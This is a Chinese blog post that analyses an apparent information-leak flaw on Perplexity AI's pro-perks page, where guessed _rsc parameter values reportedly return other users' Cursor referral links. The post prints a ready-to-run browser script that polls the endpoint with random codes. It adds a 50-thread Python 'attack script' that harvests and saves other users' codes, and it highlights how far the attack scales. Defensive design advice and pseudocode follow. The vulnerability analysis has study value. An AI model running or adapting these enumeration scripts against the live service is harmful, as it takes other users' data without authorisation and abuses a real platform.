SSF0SSF0
首页
前端
  • Node
  • Go
  • Python
  • MySql
  • Bash
  • Git
  • Docker
  • VuePress
  • CI/CD
  • 服务器
  • 网站
  • 学习资料
  • 软件
  • 开源项目
Timeline
Github
标签
分类
首页
前端
  • Node
  • Go
  • Python
  • MySql
  • Bash
  • Git
  • Docker
  • VuePress
  • CI/CD
  • 服务器
  • 网站
  • 学习资料
  • 软件
  • 开源项目
Timeline
Github
标签
分类
  • HTML

    • html1
    • html2
  • CSS

    • Flex 布局常见问题与解决方案
  • JavaScript

    • 数据类型及引用问题
    • 处理 Blob 类型文件下载问题总结
    • localStorage 与 sessionStorage 区别
    • JavaScript 中的 script 标签问题详解
    • JavaScript 中的 this 指向问题详解
    • SessionStorage踩坑记录
    • 动态加载 JS 脚本方法对比
    • 浏览器页面关闭场景下的数据上报
    • HTTP流式接口详解与封装实践
    • JavaScript 中 this 绑定与解构:为什么 Pinia Store 可以解构,但 Class 实例方法不行?
  • es6

    • Promise
    • es6 模块导出方式全解析
    • reduce
    • forEach 中使用 async/await 的异步陷阱
  • Vue2

    • created VS mounted 发起异步请求
    • vue2-2
  • Vue3

    • Vite + Vue3 修改 element-plus 源码
    • Vue v-if 与 v-show
    • Vue3 ref 获取组件
    • Vue3 路由传参
    • 父子组件与组件里 Hooks 加载顺序
    • 第三方组件传入参数TS提示
    • Vue3 Props 在 Hooks 中的响应性处理
    • Vue Router 的两种历史模式及部署配置详解
    • 在Vue 3项目中顺利集成Tailwind CSS的完整指南
    • Vue Scoped CSS 深度解析
    • Vue 3 Teleport 组件完全指南:从原理到实战
    • Vant List 组件中双向绑定 loading 的注意事项
    • Vue 3 + Vite 中的路径别名与静态资源处理深度解析
    • 获取图片高度
    • 深入理解 Pinia:storeToRefs vs toRefs - 避开 TypeScript 类型推断的坑
  • webSocket

    • WebSocket 鉴权入门(实战版):握手票据 / 首帧鉴权 + 连接级 cid
  • Electron

    • 快速构建 electron + vue3 项目
  • TS

    • TS 泛型
    • 记录模板使用断言的问题
    • type 与 interface
  • WebPack

    • Webpack 介绍
  • Vite

    • Vite CLI 常见命令
    • vite 与 webpack 比较
    • Vite base 配置与 public 静态资源路径问题
  • 客户端数据库

    • IndexedDB 索引陷阱:字段重命名后索引返回旧数据
    • IndexedDB 事务陷阱与最佳实践:TransactionInactiveError 完全解析
  • UniApp

    • uni-app + Monorepo + 微信小程序热更新失效问题排查与结论总结
    • Monorepo + uni-app 开发中监听 / 热更新机制差异与解决方案
    • uni-app 运行与编译原理梳理
    • 为什么 uni-app 在 Monorepo 中必须做「环境区分」,而 Web 项目却不用?
  • 项目工程

    • 前端代码风格
    • Vue3 项目规范
    • npm 镜像问题
    • 包管理工具
    • 使用 engines 限制开发环境依赖
    • 打包与shell交互指定模式
    • Monorepo示例
    • PC 项目兼容 uni-app:基于 pnpm Monorepo 的工程化重构实践
    • Vue3 + Vite + pnpm Monorepo 迁移问题指南
    • 前端工程化:深入理解 npm 依赖管理机制
    • pnpm 修改依赖源码打包报错
    • 代码片段
  • 移动端

    • 浏览器跳转外部应用时请求状态码问题
  • 记录一下小程序
  • 控制浏览器正确保存网站账号密码的技巧
  • 信息泄露
  • 使用Gulp实现前端项目哈希化压缩打包
  • 前端缓存策略与文件哈希化的关联解析
  • 浏览器刷新方式与 Vue 生命周期、缓存行为解析
  • 浏览器消息铃声实现记录

参数猜测与信息泄露:Perplexity AI 响应中的推荐码泄露分析

Perplexity AI https://www.perplexity.ai/account/pro-perks pro 优惠,点击任意产品返回的时候,有个接口https://www.perplexity.ai/account/pro-perks?_rsc=1jj9h

核心问题概述: 该脚本使用用户自己的 cookie 保持登录状态,但通过随机生成不同的_rsc参数值,能成功获取不属于该用户的 Cursor 推荐链接。这表明 Perplexity AI 的 API 没有验证_rsc参数与 cookie 中用户身份的对应关系,导致严重的信息泄露漏洞。

重要补充: 此 JavaScript 脚本设计为在浏览器环境中运行,通过document.cookie获取用户 cookie。相同的攻击逻辑也可以轻松移植到 Python 等其他语言的脚本中,进一步增加了攻击的自动化程度和规模。

引言

最近我们分析了一段 JavaScript 脚本,该脚本揭示了一个值得关注的信息安全问题:通过参数猜测,可以从 Perplexity AI 网站的响应中获取 Cursor 的推荐链接。关键问题在于,即使使用随机生成的_rsc参数,API 响应中仍然会返回敏感的推荐码信息,这是一个典型的信息泄露漏洞。

完整代码

// 生成随机的5位小写字母和数字组合
function generateRandomCode(length = 5) {
  const characters = "abcdefghijklmnopqrstuvwxyz0123456789";
  let result = "";
  for (let i = 0; i < length; i++) {
    result += characters.charAt(Math.floor(Math.random() * characters.length));
  }
  return result;
}

// 从响应文本中提取referral链接
function extractReferralLink(text) {
  // 匹配形如https://cursor.com/referral?code=VWF8EBCTHVDT的链接
  // code是大写字母和数字的组合
  const regex = /https:\/\/cursor\.com\/referral\?code=[A-Z0-9]+/g;
  const matches = text.match(regex);
  return matches ? matches[0] : null;
}

// 创建一个全局变量来存储interval ID,便于停止
let intervalId = null;

// 停止函数
function stopFetching() {
  if (intervalId !== null) {
    clearInterval(intervalId);
    console.log("已停止自动获取链接");
    intervalId = null;
  } else {
    console.log("没有正在运行的获取任务");
  }
}

// 主函数,每0.5秒执行一次
function startFetching() {
  // 如果已经在运行,先停止
  if (intervalId !== null) {
    stopFetching();
  }

  // 使用当前页面的cookie
  const cookies = document.cookie;

  // 使用当前页面URL作为referer
  const referer = window.location.href;

  console.log("开始执行,每0.5秒尝试一次...");
  console.log("输入 stopFetching() 可以停止执行");

  // 使用setInterval定期执行
  intervalId = setInterval(async () => {
    // 生成随机五位码
    const randomCode = generateRandomCode();

    try {
      // 构建URL,将rsc参数替换为随机生成的代码
      const url = `https://www.perplexity.ai/account/pro-perks?_rsc=${randomCode}`;

      // 发送请求
      const response = await fetch(url, {
        headers: {
          accept: "text/event-stream",
          "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
          "cache-control": "no-cache",
          "content-type": "application/json",
          pragma: "no-cache",
          priority: "u=1, i",
          "sec-ch-ua":
            '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
          "sec-ch-ua-arch": '"x86"',
          "sec-ch-ua-bitness": '"64"',
          "sec-ch-ua-full-version": '"135.0.7049.115"',
          "sec-ch-ua-full-version-list":
            '"Google Chrome";v="135.0.7049.115", "Not-A.Brand";v="8.0.0.0", "Chromium";v="135.0.7049.115"',
          "sec-ch-ua-mobile": "?0",
          "sec-ch-ua-model": '""',
          "sec-ch-ua-platform": '"Windows"',
          "sec-ch-ua-platform-version": '"15.0.0"',
          "sec-fetch-dest": "empty",
          "sec-fetch-mode": "cors",
          "sec-fetch-site": "same-origin",
          cookie: "用户实际的cookie",
          Referer: "https://www.perplexity.ai/",
          "Referrer-Policy": "strict-origin-when-cross-origin",
        },
        method: "GET",
        credentials: "include", // 确保包含凭证
      });

      // 获取响应文本
      const responseText = await response.text();

      // 提取referral链接
      const referralLink = extractReferralLink(responseText);

      // 如果找到链接,则输出
      if (referralLink) {
        console.log(`${referralLink}`);
        // 找到链接后不停止,继续尝试获取更多链接
      }
    } catch (error) {
      // 失败时不输出任何内容
    }
  }, 500); // 每0.5秒执行一次
}

// 将函数暴露到全局作用域,以便用户可以手动调用
window.startFetching = startFetching;
window.stopFetching = stopFetching;

// 自动开始执行
startFetching();

核心问题分析

通过分析代码和测试结果,我们发现了一个严重的信息泄露问题:

1. 响应中的敏感信息泄露

最关键的安全问题是:脚本使用用户自己的 cookie 保持身份验证,但通过随机修改_rsc参数,成功获取到了不属于该用户的 Cursor 推荐链接。这意味着:

  1. API 没有正确验证_rsc参数与 cookie 中用户身份的对应关系

  2. 服务器在接收到随机生成的_rsc值时,可能错误地返回了其他用户的推荐链接

  3. 这种漏洞允许用户"窃取"不属于自己的推荐码

2. 浏览器环境与 Python 脚本移植

当前脚本是在浏览器环境中运行的,通过document.cookie获取用户凭证:

// 使用当前页面的cookie
const cookies = document.cookie;

这种攻击完全可以移植到 Python 脚本中,实现自动化和更高效的攻击:

Python 多线程实现的高效攻击脚本示例

import requests
import random
import string
import re
import time
from concurrent.futures import ThreadPoolExecutor
import threading

# 打印锁,防止输出混乱
print_lock = threading.Lock()

def generate_random_code(length=5):
    characters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(characters) for _ in range(length))

def extract_referral_link(text):
    pattern = r'https://cursor\.com/referral\?code=[A-Z0-9]+'
    matches = re.findall(pattern, text)
    return matches[0] if matches else None

# 用户提供的cookie
cookies = {
    'pplx.visitor-id': '2c604677-abc0-49d4-80a4-3cf0ab336eea',
    'pplx.session-id': 'fda38660-92a3-439f-86fb-4cd201aa4de4',
    # 其他cookie...
}

headers = {
    'accept': 'text/event-stream',
    'accept-language': 'zh-CN,zh;q=0.9',
    'cache-control': 'no-cache',
    'content-type': 'application/json',
    'referer': 'https://www.perplexity.ai/',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
}

# 保存找到的链接,使用集合去重
found_links = set()
# 统计数据
attempts = 0
# 使用线程安全的集合
found_links_lock = threading.Lock()

def check_code(random_code):
    global attempts
    url = f"https://www.perplexity.ai/account/pro-perks?_rsc={random_code}"

    try:
        response = requests.get(url, headers=headers, cookies=cookies, timeout=5)
        referral_link = extract_referral_link(response.text)

        with found_links_lock:
            attempts += 1

            if referral_link and referral_link not in found_links:
                found_links.add(referral_link)
                with print_lock:
                    print(f"[+] 找到新链接: {referral_link} (尝试次数: {attempts})")

                # 保存到文件
                with open("found_links.txt", "a") as f:
                    f.write(f"{referral_link}\n")

            # 每100次尝试显示一次统计
            if attempts % 100 == 0:
                with print_lock:
                    print(f"[*] 已尝试: {attempts} 次, 找到: {len(found_links)} 个链接")

    except Exception as e:
        pass  # 忽略错误

def main():
    # 线程数,可以根据系统性能和网络带宽调整
    num_threads = 50
    print(f"[*] 启动多线程攻击,使用 {num_threads} 个线程")

    try:
        with ThreadPoolExecutor(max_workers=num_threads) as executor:
            while True:
                # 生成一批随机码
                random_codes = [generate_random_code() for _ in range(num_threads)]
                # 提交到线程池
                futures = [executor.submit(check_code, code) for code in random_codes]
                # 等待所有请求完成
                for future in futures:
                    future.result()

    except KeyboardInterrupt:
        print(f"\n[!] 已停止。共尝试 {attempts} 次,找到 {len(found_links)} 个链接。")

if __name__ == "__main__":
    main()

多线程 Python 脚本的危险性大幅提升

与浏览器中运行的 JavaScript 脚本相比,多线程 Python 脚本在攻击效率上有质的飞跃:

  1. 并发请求数量激增

    • 浏览器端:受同源策略限制,通常并发连接数为 6-8 个

    • Python 脚本:可轻松实现 50-100 个线程并发请求,甚至更多

  2. 处理速度倍增

    • 浏览器端:每 0.5 秒处理 1 个请求,约每分钟 120 个请求

    • Python 脚本:50 线程并发,约每分钟 6000 个请求(提升 50 倍)

  3. 绕过浏览器限制

    • 无需用户交互

    • 无浏览器 CPU 和内存限制

    • 可在服务器 24 小时不间断运行

  4. 自动化程度提高

    • 可轻松实现请求失败重试

    • 自动保存和去重结果

    • 可实现分布式攻击(多 IP)

  5. 攻击范围扩大

    • 可尝试更多的参数组合
    • 可以更系统地枚举参数空间

防御多线程脚本攻击的额外措施

针对更高效的 Python 多线程攻击脚本,服务端需要增强防御措施:

  1. 更严格的速率限制

    # 服务端示例(伪代码)
    def rateLimit(req, res, next):
      clientIP = req.ip
      userID = req.session?.userID
    
      # 基于IP的限制
      if (exceededIPLimit(clientIP)) {
        return res.status(429).send("请求过多")
      }
    
      # 基于用户ID的限制
      if (userID && exceededUserLimit(userID)) {
        return res.status(429).send("请求过多")
      }
    
      # 基于参数模式的限制(检测随机参数)
      if (detectRandomParamPattern(req.query)) {
        logSuspiciousActivity(clientIP, req.query)
        return res.status(403).send("可疑请求模式")
      }
    
      next()
    }
  2. 行为分析与模式识别

    # 检测可能的参数枚举攻击
    def detectParameterEnumeration(userID, recentRequests):
      # 分析最近请求中参数的变化模式
      paramVariations = extractParamVariations(recentRequests)
    
      # 检查是否表现为随机参数模式
      if (looksLikeRandomGeneration(paramVariations)):
        # 触发安全警报
        triggerSecurityAlert("可能的参数枚举", userID, paramVariations)
        # 临时阻止该用户
        blockUserTemporarily(userID, 30) # 阻止30分钟
        return true
    
      return false
    }
  3. 自动调整的防御机制

    # 动态调整防御级别
    def adjustDefenseLevel():
      # 监控系统负载和可疑请求比例
      currentLoad = getSystemLoad()
      suspiciousRatio = getSuspiciousRequestRatio()
    
      if (currentLoad > 80 || suspiciousRatio > 0.1):
        # 提高防御级别
        increaseRateLimits()
        enableStricterValidation()
        reduceTimeoutValues()
    }

有问题的系统设计模式分析

危险的设计模式:短标识符与参数分离认证

这个案例揭示了一种常见但危险的系统设计模式:

  1. 短标识符依赖

    • 使用过短的标识符(5 位)作为用户或资源标识

    • 可枚举性极高(约 6,000 万种可能性)

    • 容易被暴力猜测和枚举攻击

  2. 分离的认证机制

    • Cookie 验证和参数验证相互独立

    • 系统未将_rsc参数与用户会话关联验证

    • 导致可通过合法 cookie 和猜测参数组合访问未授权资源

  3. 资源分区不当

    • 基于简单参数访问不同用户资源

    • 缺乏多层次验证和授权检查

    • 混淆了身份验证与授权控制

  4. 过度信任单一认证因素

    • 仅验证 cookie 有效性,忽略 URL 参数与用户的关联

    • 没有实施"纵深防御原则"

    • 缺少会话状态的完整性检查

此类设计的风险

  1. 资源枚举攻击:通过有限空间的标识符猜测可访问其他用户资源

  2. 身份混淆:系统无法区分合法用户与非法访问

  3. 大规模信息泄露:一个认证漏洞可能导致所有用户数据被枚举获取

  4. 权限提升:低权限用户可能访问到高权限资源

正确的设计模式与解决方案

安全设计模式:多因素关联认证

正确的设计模式应该采用:

  1. 强标识符设计

    // 生成安全的资源标识符
    function generateSecureIdentifier() {
      return crypto.randomBytes(32).toString("hex"); // 64位长度的十六进制字符串
    }
  2. 会话与参数绑定

    // 创建用户会话时,将所有相关参数绑定到会话
    function createUserSession(user) {
      const sessionId = generateSecureIdentifier();
      const rscToken = generateSecureIdentifier();
    
      // 存储会话与参数的关联
      sessions[sessionId] = {
        userId: user.id,
        rscToken: rscToken,
        createdAt: Date.now(),
        // 其他会话数据
      };
    
      return { sessionId, rscToken };
    }
  3. 完整的请求验证流程

    // 请求处理中间件
    function validateRequest(req, res, next) {
      const sessionId = req.cookies.sessionId;
      const session = sessions[sessionId];
    
      // 1. 验证会话是否存在且有效
      if (!session || isSessionExpired(session)) {
        return res.status(401).json({ error: "未认证或会话已过期" });
      }
    
      // 2. 验证URL参数与会话的绑定关系
      if (req.query._rsc !== session.rscToken) {
        logSecurityEvent("参数不匹配", {
          sessionId,
          expected: session.rscToken,
          received: req.query._rsc,
        });
        return res.status(403).json({ error: "无效的请求参数" });
      }
    
      // 3. 验证资源访问权限
      if (!canAccessResource(session.userId, req.path)) {
        return res.status(403).json({ error: "无权访问请求的资源" });
      }
    
      // 所有验证通过,继续处理请求
      next();
    }
  4. 资源访问控制列表

    // 基于资源的访问控制
    function canAccessResource(userId, resourcePath) {
      // 查询用户权限
      const userPermissions = getUserPermissions(userId);
    
      // 检查资源访问权限
      return checkResourcePermission(userPermissions, resourcePath);
    }
  5. 响应过滤器

    // 过滤响应中的敏感信息
    function filterResponse(data, user, requestedResource) {
      // 移除不相关的敏感信息
      const filteredData = { ...data };
    
      // 只返回用户有权访问的数据
      if (!userCanAccessField(user, requestedResource, "referralLinks")) {
        delete filteredData.referralLinks;
      }
    
      return filteredData;
    }

最佳实践总结

  1. 使用足够长的标识符

    • 最低 16 位,推荐 32 位以上

    • 使用加密安全的随机数生成器

  2. 实施多因素关联验证

    • 验证会话有效性

    • 验证参数与会话的绑定关系

    • 验证资源访问权限

  3. 资源分区与访问控制

    • 明确资源所有权

    • 实施严格的访问控制策略

    • 最小权限原则

  4. 监控与防御措施

    • 记录异常访问模式

    • 实施速率限制

    • 定期安全审计

结论

这个案例清晰展示了 Web 应用常见的危险设计模式:使用短标识符和分离认证机制导致的信息泄露问题。特别值得注意的是,这类攻击不仅可以通过浏览器执行,还可以轻松移植到 Python 等脚本语言中,使得攻击更加高效和自动化。

只有实施完整的多因素关联验证、使用足够长的随机标识符,并在系统设计之初就考虑安全因素,才能有效防止此类信息泄露和未授权访问问题。这不仅是技术实现问题,更是整个系统设计思想的体现。

最后更新时间:
贡献者: 何风顺
上一页
控制浏览器正确保存网站账号密码的技巧
下一页
使用Gulp实现前端项目哈希化压缩打包